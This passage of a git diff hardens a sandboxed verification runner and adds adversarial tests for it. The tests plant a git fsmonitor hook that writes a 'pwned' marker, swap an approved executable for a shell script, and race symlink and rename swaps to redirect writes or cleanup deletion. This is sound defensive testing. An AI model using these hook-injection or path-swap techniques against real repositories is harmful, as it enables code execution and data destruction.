env, markSpawned); const ended = adapter.nowMs(); if (typeof ended !== 'number' || !NUMBER_IS_SAFE_INTEGER(ended) || ended < started) { deny('clock_denied', 'execution'); @@ -1195,11 +1847,12 @@ export async function executeConstrainedVerificationV1(input, options = {}) { const durationMs = ended - started; const filesystemAfter = await assertCandidateSafe(adapter, candidate); const after = await snapshotCandidate(adapter, candidate, filesystemAfter, false); - assertUnchanged(before, after); + const boundAfter = bindCopyIdentity(after, workspace.copyDigest); + assertUnchanged(boundBefore, boundAfter); await removeExactWorkspace(adapter, workspace); workspace = undefined; const acceptance = freezeAcceptanceObservation(intent, run, durationMs); - const git = freezeGitObservation(after, durationMs, intent.plan_identity.digest); + const git = freezeGitObservation(boundAfter, durationMs, intent.plan_identity.digest); const observations = freezeRecord(OBSERVATION_KEYS, { acceptance, git_identity: git }); const body = freezeRecord(RECEIPT_BODY_KEYS, { schema: CONSTRAINED_VERIFICATION_SCHEMA_ID, @@ -1208,7 +1861,7 @@ export async function executeConstrainedVerificationV1(input, options = {}) { intent_identity: intent.plan_identity, policy_identity: intent.policy_identity, outcome: freezeOutcome(run, durationMs), - candidate_audit: freezeCandidateAudit(after), + candidate_audit: freezeCandidateAudit(boundAfter), cleanup: freezeRecord(CLEANUP_KEYS, { status: 'removed' }), observations, facts: freezeFacts(acceptance, git), @@ -1232,6 +1885,7 @@ export async function executeConstrainedVerificationV1(input, options = {}) { try { await removeExactWorkspace(adapter, workspace); } catch (cleanupError) { + closeWorkspaceFds(workspace); if (cleanupError && cleanupError.name === 'RunContractV1Error') throw cleanupError; deny('cleanup_uncertain', 'cleanup'); } @@ -1249,6 +1903,7 @@ export const CONSTRAINED_VERIFICATION_CONTRACT_DESCRIPTOR = capturedFreeze({ receipt_keys: RECEIPT_RESULT_KEYS, git_executable: GIT_EXECUTABLE, unshare_executable: UNSHARE_EXECUTABLE, + prlimit_executable: PRLIMIT_EXECUTABLE, reported_results: REPORTED_RESULTS, fact_kinds: capturedFreeze(['acceptance_results', 'git_identity']), default_deny: capturedFreeze({ @@ -1256,6 +1911,9 @@ export const CONSTRAINED_VERIFICATION_CONTRACT_DESCRIPTOR = capturedFreeze({ env: capturedFreeze({}), network: 'deny', executions: 1, + cpu_seconds_cap: RESOURCE_CPU_SECONDS_CAP, + address_space_bytes: RESOURCE_ADDRESS_SPACE_BYTES, + nproc: RESOURCE_NPROC, }), }); diff --git a/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs index b517c61..08b545c 100644 --- a/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs @@ -1,15 +1,30 @@ import assert from 'node:assert/strict'; -import { mkdir, rm, symlink } from 'node:fs/promises'; +import { spawn as nodeSpawn } from 'node:child_process'; +import fs, { + chmodSync, copyFileSync, renameSync, symlinkSync, writeFileSync, +} from 'node:fs'; +import { chmod, lstat, mkdir, readFile, rm, symlink, writeFile } from 'node:fs/promises'; import path from 'node:path'; import test from 'node:test'; import { types as utilTypes } from 'node:util'; import { resolveApprovedVerificationCommandV1 } from '../mcp/v3/approved-verification-command.mjs'; -import { executeConstrainedVerificationV1 } from '../mcp/v3/constrained-verification-runner.mjs'; +import { + GIT_CLOSED_ENV, + GIT_CONFIG_OVERRIDES, + GIT_EXECUTABLE, + QUARANTINE_NAME_PREFIX, + RESOURCE_ADDRESS_SPACE_BYTES, + RESOURCE_NPROC, + WORKSPACE_NAME_PREFIX, + WORKSPACE_PARENT_PREFIX, + executeConstrainedVerificationV1, +} from '../mcp/v3/constrained-verification-runner.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { TRUE_EXECUTABLE, countingProxy, + fakeChild, genuineRequest, gitIdentitySnapshot, initCandidateRepo, @@ -200,29 +215,33 @@ test('cleanup identity swap never deletes the candidate or unresolved paths', as candidate: { repository: candidate, expected_head_sha: head }, }); const deleted = []; - let workspacePath; + const mkdirPaths = []; const base = recordingAdapter({ child: { code: 0 }, git: gitIdentitySnapshot({ head_sha: head, gitdir: `${candidate}/.git` }), }); - const realLstat = (await import('node:fs/promises')).lstat; const realMkdir = (await import('node:fs/promises')).mkdir; - const realRealpath = (await import('node:fs/promises')).realpath; const adapter = { ...base.adapter, mkdir: async (target, options) => { - workspacePath = target; + mkdirPaths.push(target); return realMkdir(target, options); }, - lstat: async (target, options) => { - const entry = await realLstat(target, options); - if (workspacePath !== undefined && target === workspacePath && deleted.length === 0 - && base.calls.spawn.length > 0) { - return { ...entry, ino: entry.ino + 1n, isSymbolicLink: () => false, isDirectory: () => true, isFile: () => false }; + spawn: (file, args, options) => { + const workspacePath = mkdirPaths.find((entry) => path.basename(entry).startsWith('codex-co-engineer-p16c-') + && path.basename(entry).startsWith('codex-co-engineer-p16c-owner-') === false); + if (workspacePath !== undefined) { + const stolen = `${workspacePath}.stolen`; + try { + renameSync(workspacePath, stolen); + symlinkSync(candidate, workspacePath); + } catch { + // race helper; cleanup must still fail closed + } } - return entry; + base.calls.spawn.push({ file, args, options }); + return fakeChild({ code: 0 }); }, - realpath: (target) => realRealpath(target), rmdirExact: async (record) => { deleted.push(record.path); }, @@ -232,6 +251,7 @@ test('cleanup identity swap never deletes the candidate or unresolved paths', as assert.equal(deleted.length, 0); assert.equal(deleted.includes(candidate), false); assert.equal(deleted.includes('/'), false); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); } finally { await rm(root, { recursive: true, force: true }); } @@ -293,3 +313,503 @@ test('failures never echo native stacks, URLs, or attacker argv', async () => { assert.equal(error.message.includes('at parse'), false); assert.equal(error.message.includes('TypeError'), false); }); + +function spawnGit(args, env) { + return new Promise((resolve, reject) => { + const child = nodeSpawn(GIT_EXECUTABLE, args, { + cwd: '/', + env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + }); + child.on('error', reject); + child.on('exit', (code, signal) => resolve({ code, signal })); + }); +} + +test('parent-failing git fsmonitor marker is reproduced and repaired audit writes zero', async () => { + const { root, candidate, head } = await candidatePair(); + const marker = path.join(root, 'fsmonitor.marker'); + const hook = path.join(root, 'fsmonitor.sh'); + try { + await writeFile(hook, `#!/bin/sh\necho pwned >> "${marker}"\nexit 0\n`, { mode: 0o755 }); + await chmod(hook, 0o755); + await spawnGit(['-C', candidate, 'config', 'core.fsmonitor', hook], { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + }); + await spawnGit([ + '-C', candidate, '--no-optional-locks', 'status', '--porcelain=v1', '--untracked-files=all', + ], { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_OPTIONAL_LOCKS: '0', + GIT_TERMINAL_PROMPT: '0', + }); + const parentMarker = await readFile(marker, 'utf8').catch(() => ''); + assert.equal(parentMarker.includes('pwned'), true); + await rm(marker, { force: true }); + const receipt = await executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + })); + assert.equal(receipt.outcome.result, 'pass'); + const repaired = await readFile(marker, 'utf8').catch(() => ''); + assert.equal(repaired, ''); + assert.equal(GIT_CONFIG_OVERRIDES.includes('core.fsmonitor='), true); + assert.equal(Object.hasOwn(GIT_CLOSED_ENV, 'PATH'), false); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing executable path replacement is fail-closed and never re-opens the path', async () => { + const { root, candidate, head } = await candidatePair(); + const exe = path.join(root, 'approved-true'); + const marker = path.join(root, 'pwned.marker'); + try { + copyFileSync(TRUE_EXECUTABLE, exe); + await chmod(exe, 0o755); + const request = genuineRequest({ + policy: policyForExecutable(exe), + executable: exe, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const { adapter } = recordingAdapter({ + spawn: (file, args, options) => { + renameSync(exe, `${exe}.orig`); + writeFileSync(exe, `#!/bin/sh\necho pwned > "${marker}"\nexit 0\n`); + chmodSync(exe, 0o755); + assert.equal(typeof options.executableFd, 'number'); + return nodeSpawn('/proc/self/fd/3', args, { + cwd: options.cwd, + env: options.env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe', options.executableFd], + }); + }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'executable_not_runnable'); + const pwned = await readFile(marker, 'utf8').catch(() => ''); + assert.equal(pwned, ''); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing workspace cwd symlink swap cannot redirect writes', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const request = genuineRequest({ + policy: policyForExecutable('/usr/bin/touch', { argv_template: ['redirected.marker'] }), + executable: '/usr/bin/touch', + candidate: { repository: candidate, expected_head_sha: head }, + }); + const mkdirPaths = []; + const { adapter, calls } = recordingAdapter({}); + const realMkdir = adapter.mkdir; + adapter.mkdir = async (target, options) => { + mkdirPaths.push(target); + return realMkdir(target, options); + }; + adapter.spawn = (file, args, options) => { + const workspacePath = mkdirPaths.find((entry) => path.basename(entry).startsWith('codex-co-engineer-p16c-') + && path.basename(entry).startsWith('codex-co-engineer-p16c-owner-') === false); + if (workspacePath !== undefined) { + try { + renameSync(workspacePath, `${workspacePath}.moved`); + symlinkSync(candidate, workspacePath); + } catch { + // ignore helper failures; descriptor cwd must still win + } + } + calls.spawn.push({ file, args, options }); + assert.match(options.cwd, /^\/proc\/self\/fd\/[0-9]+$/u); + return nodeSpawn('/usr/bin/touch', args, { + cwd: options.cwd, + env: options.env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + }); + }; + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'cleanup_uncertain'); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + const redirected = await readFile(path.join(candidate, 'redirected.marker'), 'utf8').catch(() => ''); + assert.equal(redirected, ''); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing /proc enumeration failure is cleanup_uncertain not pass', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: recordingAdapter({ + child: { code: 0 }, + listDescendants: async () => { + throw Object.assign(new Error('eacces'), { code: 'EACCES' }); + }, + }).adapter, + })); + assert.equal(error.code, 'cleanup_uncertain'); + + const nonArray = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: recordingAdapter({ + child: { code: 0 }, + listDescendants: async () => undefined, + }).adapter, + })); + assert.equal(nonArray.code, 'cleanup_uncertain'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing special files and copy races are rejected before execution', async () => { + const { root, candidate, head } = await candidatePair(); + try { + await symlink(path.join(candidate, 'README'), path.join(candidate, 'link-readme')); + const linked = await errorOf(() => executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }))); + assert.equal(linked.code, 'symlink_denied'); + + await rm(path.join(candidate, 'link-readme')); + const fifo = path.join(candidate, 'pipe'); + await new Promise((resolve, reject) => { + nodeSpawn('/usr/bin/mkfifo', [fifo], { shell: false }).on('exit', (code) => { + if (code === 0) resolve(); + else reject(new Error('mkfifo')); + }); + }); + const fifoError = await errorOf(() => executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }))); + assert.equal(fifoError.code, 'special_file_denied'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing unshare-only bounds are replaced by explicit prlimit CPU AS and nproc', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const { adapter, calls } = recordingAdapter({ child: { code: 0 } }); + const receipt = await executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }), { adapter }); + assert.equal(receipt.outcome.result, 'pass'); + assert.equal(calls.spawn[0].options.resourceLimits.nproc, RESOURCE_NPROC); + assert.equal(calls.spawn[0].options.resourceLimits.address_space_bytes, RESOURCE_ADDRESS_SPACE_BYTES); + assert.equal(Number.isSafeInteger(calls.spawn[0].options.resourceLimits.cpu_seconds), true); + const source = await readFile(new URL('../mcp/v3/constrained-verification-runner.mjs', import.meta.url), 'utf8'); + assert.match(source, /\/usr\/bin\/prlimit/u); + assert.match(source, /--cpu=/u); + assert.match(source, /--as=/u); + assert.match(source, /--nproc=/u); + assert.match(source, /O_NOFOLLOW/u); + assert.match(source, /O_DIRECTORY/u); + assert.match(source, /\/proc\/self\/fd\//u); + assert.equal(source.includes('recursive: true'), false); + assert.doesNotMatch(source, /\bFS_RM\b/u); + assert.match(source, /FS_UNLINK_SYNC/u); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing address-space escape is fail-closed by prlimit', async () => { + const { root, candidate, head } = await candidatePair(); + try { + await writeFile(path.join(candidate, 'mem.py'), [ + 'try:', + ' x=b"x"*400*1024*1024', + ' raise SystemExit(0)', + 'except MemoryError:', + ' raise SystemExit(2)', + '', + ].join('\n')); + const request = genuineRequest({ + policy: policyForExecutable('/usr/bin/python3.12', { argv_template: ['mem.py'] }), + executable: '/usr/bin/python3.12', + candidate: { repository: candidate, expected_head_sha: head }, + }); + let passed = false; + try { + const receipt = await executeConstrainedVerificationV1(request); + passed = receipt.outcome.result === 'pass'; + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + } + assert.equal(passed, false); + assert.equal(RESOURCE_ADDRESS_SPACE_BYTES < 400 * 1024 * 1024, true); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +const HEX_A = 'a'.repeat(32); +const HEX_B = 'b'.repeat(32); +const SENTINEL_BYTES = 'p16c-candidate-sentinel-preserve\n'; +const OPEN_PINNED_DIR = fs.constants.O_RDONLY | fs.constants.O_DIRECTORY | fs.constants.O_NOFOLLOW; + +async function gitHeadOf(repo) { + return new Promise((resolve, reject) => { + const child = nodeSpawn(GIT_EXECUTABLE, ['-C', repo, 'rev-parse', 'HEAD'], { + cwd: '/', + env: { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + }, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + }); + let out = ''; + child.stdout.on('data', (chunk) => { out += String(chunk); }); + child.on('error', reject); + child.on('exit', (code) => { + if (code === 0) resolve(out.trim()); + else reject(new Error('rev-parse failed')); + }); + }); +} + +function replaceQuarantineWithCandidate(parentPath, qName, candidate) { + const qPath = path.join(parentPath, qName); + renameSync(qPath, `${qPath}.stolen`); + renameSync(candidate, qPath); + return qPath; +} + +test('parent 95adf976 recursive quarantine path rm deletes a replaced candidate', async () => { + const root = await makeTempRoot(); + const parentPath = path.join(root, `${WORKSPACE_PARENT_PREFIX}${HEX_A}`); + const workspaceName = `${WORKSPACE_NAME_PREFIX}${HEX_B}`; + const workspacePath = path.join(parentPath, workspaceName); + const candidate = path.join(root, 'candidate'); + const qName = `${QUARANTINE_NAME_PREFIX}${HEX_B}`; + try { + const head = await initCandidateRepo(candidate); + await writeFile(path.join(candidate, 'SENTINEL'), SENTINEL_BYTES); + await mkdir(parentPath, { recursive: false, mode: 0o700 }); + await mkdir(workspacePath, { recursive: false, mode: 0o700 }); + await writeFile(path.join(workspacePath, 'junk'), 'workspace-copy\n'); + const parentFd = fs.openSync(parentPath, OPEN_PINNED_DIR); + const dirFd = fs.openSync(`/proc/self/fd/${parentFd}/${workspaceName}`, OPEN_PINNED_DIR); + const pinned = fs.fstatSync(dirFd, { bigint: true }); + fs.renameSync(`/proc/self/fd/${parentFd}/${workspaceName}`, `/proc/self/fd/${parentFd}/${qName}`); + const qFd = fs.openSync(`/proc/self/fd/${parentFd}/${qName}`, OPEN_PINNED_DIR); + const qStat = fs.fstatSync(qFd, { bigint: true }); + assert.equal(qStat.dev, pinned.dev); + assert.equal(qStat.ino, pinned.ino); + fs.closeSync(qFd); + fs.closeSync(dirFd); + const replacement = replaceQuarantineWithCandidate(parentPath, qName, candidate); + const replaceable = `/proc/self/fd/${parentFd}/${qName}`; + await rm(replaceable, { recursive: true, force: false }); + fs.closeSync(parentFd); + const sentinel = await readFile(path.join(replacement, 'SENTINEL'), 'utf8').catch(() => ''); + assert.equal(sentinel, ''); + const gitPresent = await lstat(path.join(replacement, '.git')).then(() => true, () => false); + assert.equal(gitPresent, false); + const originalPresent = await lstat(candidate).then(() => true, () => false); + assert.equal(originalPresent, false); + assert.notEqual(head, ''); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('post-pin quarantine name replacement returns cleanup_uncertain and preserves candidate', async () => { + const { root, candidate, head } = await candidatePair(); + const recursive = []; + try { + await writeFile(path.join(candidate, 'SENTINEL'), SENTINEL_BYTES); + await mkdir(path.join(candidate, 'nested', 'deep'), { recursive: true }); + await writeFile(path.join(candidate, 'nested', 'deep', 'file.txt'), 'nested-keep\n'); + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const { adapter } = recordingAdapter({ + child: { code: 0 }, + rmdirExact: async (record) => { + recursive.push(record.path); + await rm(record.path, { recursive: true, force: false }); + }, + }); + let replacementPath; + adapter.afterQuarantinePin = async (info) => { + replacementPath = replaceQuarantineWithCandidate(info.parentPath, info.qName, candidate); + fs.fstatSync(info.parentFd); + fs.fstatSync(info.dirFd); + fs.fstatSync(info.qFd); + }; + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'cleanup_uncertain'); + assert.equal(recursive.length, 0); + assert.equal(recursive.includes(replacementPath), false); + assert.equal(recursive.includes(candidate), false); + assert.equal(await readFile(path.join(replacementPath, 'SENTINEL'), 'utf8'), SENTINEL_BYTES); + assert.equal(await readFile(path.join(replacementPath, 'README'), 'utf8'), 'p16c\n'); + assert.equal(await readFile(path.join(replacementPath, 'nested', 'deep', 'file.txt'), 'utf8'), 'nested-keep\n'); + const gitStat = await lstat(path.join(replacementPath, '.git')); + assert.equal(gitStat.isDirectory() || gitStat.isFile(), true); + assert.equal(await gitHeadOf(replacementPath), head); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('quarantine name symlink, file, and directory swaps preserve candidate and foreign sentinels', async () => { + async function runSwap(mutate) { + const { root, candidate, head } = await candidatePair(); + const recursive = []; + const foreign = path.join(root, 'FOREIGN'); + try { + await writeFile(path.join(candidate, 'SENTINEL'), SENTINEL_BYTES); + await writeFile(foreign, 'foreign-keep\n'); + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const { adapter } = recordingAdapter({ + child: { code: 0 }, + rmdirExact: async (record) => { + recursive.push(record.path); + await rm(record.path, { recursive: true, force: false }); + }, + }); + adapter.afterQuarantinePin = async (info) => { + await writeFile(path.join(info.parentPath, 'PARENT_FOREIGN'), 'parent-keep\n'); + mutate(info, candidate); + }; + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'cleanup_uncertain'); + assert.equal(recursive.length, 0); + assert.equal(await readFile(path.join(candidate, 'SENTINEL'), 'utf8'), SENTINEL_BYTES); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + assert.equal(await gitHeadOf(candidate), head); + assert.equal(await readFile(foreign, 'utf8'), 'foreign-keep\n'); + const gitStat = await lstat(path.join(candidate, '.git')); + assert.equal(gitStat.isDirectory() || gitStat.isFile(), true); + return root; + } catch (error) { + await rm(root, { recursive: true, force: true }); + throw error; + } + } + + const symlinkRoot = await runSwap((info, candidatePath) => { + const qPath = path.join(info.parentPath, info.qName); + renameSync(qPath, `${qPath}.stolen`); + symlinkSync(candidatePath, qPath); + }); + await rm(symlinkRoot, { recursive: true, force: true }); + + const fileRoot = await runSwap((info) => { + const qPath = path.join(info.parentPath, info.qName); + renameSync(qPath, `${qPath}.stolen`); + writeFileSync(qPath, 'not-a-directory\n'); + }); + await rm(fileRoot, { recursive: true, force: true }); + + const dirRoot = await runSwap((info) => { + const qPath = path.join(info.parentPath, info.qName); + renameSync(qPath, `${qPath}.stolen`); + fs.mkdirSync(qPath, { mode: 0o700 }); + writeFileSync(path.join(qPath, 'intruder'), 'foreign-dir\n'); + }); + await rm(dirRoot, { recursive: true, force: true }); +}); + +test('inner symlink and file-directory swaps unlink without following candidate targets', async () => { + const { root, candidate, head } = await candidatePair(); + try { + await writeFile(path.join(candidate, 'SENTINEL'), SENTINEL_BYTES); + await mkdir(path.join(candidate, 'nested'), { recursive: true }); + await writeFile(path.join(candidate, 'nested', 'inner.txt'), 'inner-keep\n'); + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const { adapter } = recordingAdapter({ + child: { code: 0 }, + rmdirExact: async (record) => { + throw new Error(`recursive rmdirExact targeted ${record.path}`); + }, + }); + adapter.afterQuarantinePin = async (info) => { + const qPath = path.join(info.parentPath, info.qName); + const decoy = path.join(qPath, 'README'); + try { fs.unlinkSync(decoy); } catch { /* copy layout may differ */ } + symlinkSync(path.join(candidate, 'SENTINEL'), path.join(qPath, 'README')); + const nested = path.join(qPath, 'nested-swap'); + fs.mkdirSync(nested, { mode: 0o700 }); + writeFileSync(path.join(nested, 'x'), 'x\n'); + renameSync(nested, `${nested}.dir`); + writeFileSync(nested, 'now-a-file\n'); + }; + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(await readFile(path.join(candidate, 'SENTINEL'), 'utf8'), SENTINEL_BYTES); + assert.equal(await readFile(path.join(candidate, 'nested', 'inner.txt'), 'utf8'), 'inner-keep\n'); + assert.equal(await gitHeadOf(candidate), head); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('descriptor closure happens only after conclusive cleanup or preservation', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + let during; + const { adapter } = recordingAdapter({ child: { code: 0 } }); + adapter.afterQuarantinePin = async (info) => { + during = { + dir: fs.fstatSync(info.dirFd), + parent: fs.fstatSync(info.parentFd), + q: fs.fstatSync(info.qFd), + dirFd: info.dirFd, + parentFd: info.parentFd, + qFd: info.qFd, + }; + }; + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(during.parent.isDirectory(), true); + assert.equal(during.dir.isDirectory(), true); + assert.equal(during.q.isDirectory(), true); + assert.throws(() => fs.fstatSync(during.parentFd), { code: 'EBADF' }); + assert.throws(() => fs.fstatSync(during.dirFd), { code: 'EBADF' }); + assert.throws(() => fs.fstatSync(during.qFd), { code: 'EBADF' }); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs b/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs index 25d3a91..42ac037 100644 --- a/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs +++ b/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs @@ -1,4 +1,5 @@ import assert from 'node:assert/strict'; +import fs from 'node:fs'; import { readFile, rm, symlink, writeFile } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import path from 'node:path'; @@ -11,6 +12,9 @@ import { CONSTRAINED_VERIFICATION_SCHEMA_ID, CONSTRAINED_VERIFICATION_VERSION, GIT_EXECUTABLE, + PRLIMIT_EXECUTABLE, + RESOURCE_ADDRESS_SPACE_BYTES, + RESOURCE_NPROC, UNSHARE_EXECUTABLE, VERIFICATION_EXECUTION_DIGEST_LABEL, executeConstrainedVerificationV1, @@ -83,6 +87,7 @@ test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { assert.equal(VERIFICATION_EXECUTION_DIGEST_LABEL, IDENTITY_LABELS.VERIFICATION_EXECUTION_RECEIPT); assert.equal(GIT_EXECUTABLE, '/usr/bin/git'); assert.equal(UNSHARE_EXECUTABLE, '/usr/bin/unshare'); + assert.equal(PRLIMIT_EXECUTABLE, '/usr/bin/prlimit'); }); test('a genuine P16B intent executes once with shell=false, empty env, and exact argv', async () => { @@ -113,6 +118,12 @@ test('a genuine P16B intent executes once with shell=false, empty env, and exact assert.deepEqual(calls.spawn[0].options.env, {}); assert.equal(calls.spawn[0].options.networkMode, 'deny'); assert.equal(calls.spawn[0].options.cwd === candidate, false); + assert.match(calls.spawn[0].options.cwd, /^\/proc\/self\/fd\/[0-9]+$/u); + assert.equal(typeof calls.spawn[0].options.executableFd, 'number'); + assert.equal(typeof calls.spawn[0].options.workspaceFd, 'number'); + assert.equal(calls.spawn[0].options.resourceLimits.nproc, RESOURCE_NPROC); + assert.equal(calls.spawn[0].options.resourceLimits.address_space_bytes, RESOURCE_ADDRESS_SPACE_BYTES); + assert.equal(Number.isSafeInteger(calls.spawn[0].options.resourceLimits.cpu_seconds), true); assert.equal(Object.isFrozen(request), false); assert.throws(() => { receipt.outcome.result = 'fail'; }, TypeError); }); @@ -216,9 +227,25 @@ test('timeout, output flood, signal ambiguity, and escaped descendants fail clos spawn: () => fakeChild({ hang: true, ignoreKill: true, pid: 99 }), listDescendants: async () => [], }); - const timeoutError = await errorOf(() => executeConstrainedVerificationV1(request, { + const stuckError = await errorOf(() => executeConstrainedVerificationV1(request, { adapter: hanging.adapter, })); + assert.equal(stuckError.code, 'cleanup_uncertain'); + + let hangingChild; + const timed = recordingAdapter({ + spawn: () => { + hangingChild = fakeChild({ hang: true, pid: 77 }); + return hangingChild; + }, + killProcessGroup: () => { + hangingChild.emit('exit', null, 'SIGTERM'); + }, + listDescendants: async () => [], + }); + const timeoutError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: timed.adapter, + })); assert.equal(timeoutError.code, 'timeout'); const flood = recordingAdapter({ @@ -280,26 +307,46 @@ test('candidate mutation and identity mismatch fail closed without a pass receip test('cleanup refuses broad or swapped paths and still removes the exact workspace', async () => { await withHarness(async ({ request, candidate, root }) => { - const forbidden = []; + const recursive = []; const { adapter, calls } = recordingAdapter({ child: { code: 0 }, rmdirExact: async (record) => { - if (record.path === '/' || record.path === root || record.path === candidate - || record.path === tmpdir()) { - forbidden.push(record.path); - throw new Error('refused broad delete'); - } - await rm(record.path, { recursive: true, force: false }); + recursive.push(record.path); + throw new Error('path-recursive rmdirExact must not run'); }, }); const receipt = await executeConstrainedVerificationV1(request, { adapter }); assert.equal(receipt.cleanup.status, 'removed'); - assert.equal(calls.rmdir.length, 1); - assert.equal(calls.rmdir[0].startsWith(path.resolve(tmpdir())), true); - assert.equal(calls.rmdir[0].includes('codex-co-engineer-p16c-'), true); - assert.equal(forbidden.length, 0); - assert.notEqual(calls.rmdir[0], candidate); - assert.notEqual(calls.rmdir[0], '/'); + assert.equal(calls.rmdir.length, 0); + assert.equal(recursive.length, 0); + assert.equal(recursive.includes(candidate), false); + assert.equal(recursive.includes('/'), false); + assert.equal(recursive.includes(root), false); + assert.equal(recursive.includes(tmpdir()), false); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + }); +}); + +test('normal nested-directory cleanup removes the workspace and closes pinned fds', async () => { + await withHarness(async ({ request, candidate }) => { + let pinned; + const { adapter } = recordingAdapter({ child: { code: 0 } }); + adapter.afterQuarantinePin = async (info) => { + pinned = info; + const qPath = path.join(info.parentPath, info.qName); + fs.mkdirSync(path.join(qPath, 'nested', 'deep'), { recursive: true, mode: 0o700 }); + fs.writeFileSync(path.join(qPath, 'nested', 'deep', 'file.txt'), 'workspace-only\n'); + fs.fstatSync(info.parentFd); + fs.fstatSync(info.dirFd); + fs.fstatSync(info.qFd); + }; + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(typeof pinned.parentFd, 'number'); + assert.throws(() => fs.fstatSync(pinned.parentFd), { code: 'EBADF' }); + assert.throws(() => fs.fstatSync(pinned.dirFd), { code: 'EBADF' }); + assert.throws(() => fs.fstatSync(pinned.qFd), { code: 'EBADF' }); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); }); }); @@ -334,6 +381,10 @@ test('the module never shells, looks up PATH, or integrates server/supervisor su assert.doesNotMatch(source, /\bgit rebase\b/u); assert.doesNotMatch(source, /\bgit push\b/u); assert.doesNotMatch(source, /create_pr/u); + assert.equal(source.includes('recursive: true'), false); + assert.doesNotMatch(source, /\bFS_RM\b/u); + assert.match(source, /FS_UNLINK_SYNC/u); + assert.match(source, /O_DIRECTORY/u); }); test('symlinks and special files on the executable or candidate fail closed', async () => { @@ -377,3 +428,30 @@ test('the approved command is spawned exactly once per invocation', async () => assert.equal(calls.spawn[0].file, TRUE_EXECUTABLE); }); }); + +test('the disposable workspace materializes 